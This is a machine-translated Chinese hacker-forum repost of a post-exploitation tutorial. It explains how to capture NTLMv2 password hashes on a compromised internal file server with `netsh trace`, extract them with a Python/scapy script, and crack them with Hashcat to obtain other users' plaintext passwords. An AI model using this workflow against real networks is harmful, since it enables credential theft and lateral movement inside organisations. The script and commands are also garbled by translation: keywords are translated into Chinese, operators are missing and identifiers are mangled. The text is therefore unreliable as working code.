跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技能——使用netsh抓取连接到文件服务器的NTLMv2哈希


风尘剑心

推荐的帖子

0x00 前言

在上一篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》中,比较了NTLM哈希和Net-NTLM哈希的区别。本文将继续介绍Net-NTLM哈希在内网渗透中的应用,以解决一个有趣的问题:

如果获得了内网一个文件服务器的权限,如何获得更多用户的口令?

0x01 简介

本文将介绍以下内容:

在windows平台下不安装任何第三方依赖库的情况下捕获网络数据包的方法

将数据包转换为pcap格式

Wireshark用于分析数据包。

写Python提取NTLMv2哈希。

使用Hashcat破解Hash。

0x02 解决思路

055-79000提到,当客户端连接到文件服务器时,默认会将当前登录用户的密码哈希发送到服务器进行验证。如果验证失败,需要重新输入登录用户名和密码。

如果获得内网某个文件服务器的权限,当内网其他主机试图使用该接口访问服务器时,会先将自己的密码Hash发送给服务器进行验证,在服务器端抓取数据包得到NTLM响应,分析NTLM响应的格式,提取特定信息,使用Hashcat尝试字典破解或暴力破解,就有可能还原出用户自己的明文密码。

所以,接下来需要解决的第一个问题:如何在文件服务器上抓取数据包?

0x03 Windows平台下进行网络抓包的方法

当然最常用的方法是安装Wireshark,但是如果能找到一种不安装任何第三方依赖库,系统自带,可以直接用来抓包的方法不是更好吗?

当然有办法。

通过Windows系统自带的netsh中的trace功能,无需安装任何第三方依赖库,即可在命令行下捕捉数据包。

支持Win7、Server2008R2和更高版本的系统,但不支持Server2008。

官方文件:

https://TechNet . Microsoft . com/en-us/library/DD 878517(v=ws . 10)。aspx

注:

Nettrace需要管理员权限。

用法:

1.开启记录功能

netsh trace start capture=yes persistent=yes trace file=' c:\ \ test \ \ SNMP 1 . ETL ' overwrite=yes correlation=no protocol=TCP IP v4 . address=192 . 168 . 62 . 130 keywords=ut:authentic ation

参数描述:

Capture=yes:打开数据包捕获功能。

Persistent=yes:系统重启不关闭数据包捕获功能,而只是通过Netsh trace stop。

TraceFile:指定保存记录文件的路径。

Overwrite=yes:如果文件存在,则覆盖它。

Correlation=no:不收集相关事件。

协议=tcp:抓取TPC协议

Ipv4.address=192.168.62.130:仅限制与服务器IP相关的数据包。

Keywords=ut:authentication:关键字是ut:authentication

添加以上资格参数是为了尽可能减小数据包大小,只筛选出SMB协议中与NTLMv2认证相关的内容。

注:

系统的配置文件压缩包将在同级目录下生成,扩展名为。出租车。

2.关闭记录功能

Netsh跟踪停止

当该功能关闭时,系统会将捕获的数据包保存为etl结束时的文件。

演示下图

2-1.png

3.查看etl文件

etl文件不能直接打开,需要转换成。借助windows消息分析器(Wireshark可以识别)的cap格式。

Windows消息分析器下载地址:

https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226

安装后,打开etl文件,等待文件标识。识别成功后,界面左下角提示就绪,如下图所示

2-2.png

4.转换成.cap格式

文件-另存为-导出,以cap包格式保存

使用Wireshark打开cap包文件,成功读取包文件,并在服务器上获取包。

你可以从数据包中找到SMB2协议,如下图所示。

2-3.png

从一组提取的数据包中恢复出NTLM v2的关键信息,如下图所示

2-4.png

固定拼接格式:用户名:域:挑战:hmac-MD5: blob

用Hashcat破解。

注:

详细破解方法请参考《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》,本文不做演示。

如果您手工组装多个NTLM v2响应包,将需要大量的工作和精力,因此您需要编写一个程序来自动解析这些包,并提取可供Hashcat使用的NTLM v2内容。

这是第二个问题:如何通过程序实现自动解析数据包,提取NTLM v2的内容?

0x04 通过程序实现自动解析数据包

语言:python

Python模块:scapy

解释地址:

https://github.com/invernizzi/scapy-http

安装:

简易安装scapy

easy_install scapy_http

scapy能够解析pcap数据包,所以在使用前,先使用Wireshark将。帽子包转换成pcap包

scapy示例代码如下:

尝试:

将scapy.all作为scapy导入

除了导入错误:

导入scapy

尝试:

#此导入从项目目录开始

导入scapy_http.http

除了导入错误:

#如果你通过点安装了这个包,你只需要执行这个

从景观层导入超文本传送协议(Hyper Text Transport Protocol的缩写)

数据包=scapy。rdpcap('测试。pcap’)

对于数据包中的p:

打印('=' * 78)

页面显示()

自动解析出每个数据包的格式,分为以太网、IP、TCP和生的,如下图

3-1.png

程序开发思路:

对目的端口进行判断,选出服务器信息块协议的数据包

筛选出NTLMv2响应数据包

通过当前数据包获得用户名、域名、HMAC-MD5和一滴

通过前一数据包获得服务器挑战

具体实现:

1.选出SMB协议的数据包

目的端口为445

数据包[p]['TCP'].dport==445

2.筛选出NTLMv2 Response数据包

传输控制协议(Transmission Control Protocol)有效负载包含特殊字符串NTLMSSP

数据包[p][' Raw ']。加载。find(' NTLMSSP ')!=-1

3.获得通过当前数据包获得username、domain、HMAC-MD5和blob

HMAC-MD5和一滴为固定位置,直接通过固定偏移即可获得

用户名和领域为固定格式,2字节表示长度,2字节表示马克斯伦,4岁字节表示偏移,值得注意的2字节长度实际上为(同国际组织)国际组织型数据,在读取时高低位要互换

例如读取出16进制数据为4601,实际计算的是0146转换成10进制的值,为326

域长度1=int(TCP有效负载[Flag 28:Flag 28 1]).编码('十六进制'),16)

域长度2=int(TCP有效负载[Flag 28 1:Flag 28 1 1]).编码('十六进制'),16)*256

域长度=域长度1域长度2

领域以统一码格式保存,需要转换成ascii,具体实现是把字符串转换成数组,只取奇数位

domain name=[domain name unicode[I]for I in range(len(domain name unicode))if I % 2==0]

域名=""。加入(域名)

完整实现代码如下:

#!/usr/bin/env python

尝试:

将scapy.all作为scapy导入

除了导入错误:

导入scapy

尝试:

#此导入从项目目录开始

导入scapy_http.http

除了导入错误:

#如果你通过点安装了这个包,你只需要执行这个

从景观层导入超文本传送协议(Hyper Text Transport Protocol的缩写)

packets=scapy.rdpcap('6.pcap ')

数量=1

对于范围内的p(透镜(数据包)):

尝试:

如果数据包[p]['TCP'].dport==445:

TCPPayload=packets[p]['Raw'].负荷

if TCPPayload.find('NTLMSSP ')!=-1:

如果len(TCPPayload) 500:

打印('- Hashcat NTLMv2号%s - '%(数字))

数字=数字一

print ('PacketNum: %d'%(p 1))

打印(' src:% s ' %(数据包[p][' IP ']).src))

print(' dst:% s ' %(数据包[p][' IP ']).夏令时))

Flag=TCPPayload.find('NTLMSSP ')

ServerTCPPayload=packets[p-1][' Raw '].负荷

服务器标志=servertcppayload。查找(' NTLMSSP ')

server challenge=ServerTCPPayload[服务器标志24:服务器标志24 8].编码("十六进制")

打印('服务器质询:% s ' %(服务器质询))

域长度1=int(TCP有效负载[Flag 28:Flag 28 1]).编码('十六进制'),16)

域长度2=int(TCP有效负载[Flag 28 1:Flag 28 1 1]).编码('十六进制'),16)*256

域长度=域长度1域长度2

#打印域长度

域名unicode=TCP有效负载[标志88:标志88域长度]

domain name=[domain name unicode[I]for I in range(len(domain name unicode))if I % 2==0]

域名=""。加入(域名)

打印('域名:% s“%(域名))

用户名长度1=int(TCP payload[Flag 36:Flag 36 1].编码('十六进制'),16)

用户名长度2=int(TCP payload[Flag 36 1:Flag 36 1 1]).编码('十六进制'),16)*256

用户名长度=用户名长度一用户名长度2

#打印用户名长度

用户名unicode=TCPPayload[标志88域长度:标志88域长度用户名长度]

UserName=[UserName unicode[I]for I in range(len(UserName unicode))if I % 2==0]

用户名=""。加入(用户名)

打印('用户名:% s“%(用户名))

NTLM response length 1=int(TCPPayload[Flag 20:Flag 20 1]).编码('十六进制'),16)

NTLM response length 2=int(TCPPayload[Flag 20 1:Flag 20 1 1]).编码('十六进制'),16)*256

NTLM response length=NTLM response length 1 NTLM response length 2

#打印NTLMResPonseLength

NTLM response=TCPPayload[Flag 174:Flag 174 NTLM response length].编码("十六进制")

#打印NTLMResPonse

打印" Hashcat NTLMv2:"

打印(' %s:%s:%s:%s:%s'%(用户名,域名,服务器挑战,NTLMResPonse[:32],NTLMResPonse[32:]))

除了:

及格

执行后程序输出如下图

3-2.png

接着使用哈希卡特进行破解即可

注:

解析pcap包的开源工具:

https://github.com/DanMcInerney/net-creds

但在解析ntlmv2的挑战时会出现病菌

0x05 补充

对于文件服务器,如果开启了传输控制协议上的NetBIOS,那么禁用445端口后,系统会尝试使用139端口进行连接

测试如下:

服务器禁用445端口,开启139端口

客户端尝试连接,中小企业协议使用139端口,抓包如下图

4-1.png

如果禁用了传输控制协议上的NetBIOS,那么禁用445端口后,无法使用文件共享

0x06 小结

本文解决了在获得内网一个文件服务器的权限后,获得更多用户的口令的问题。

通过Windows操作系统操作系统命令行抓包获得服务器信息块协议内容,编写程序自动提取NTLMv2哈希,使用哈希卡特进行破解,有可能还原出用户本机的明文口令

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...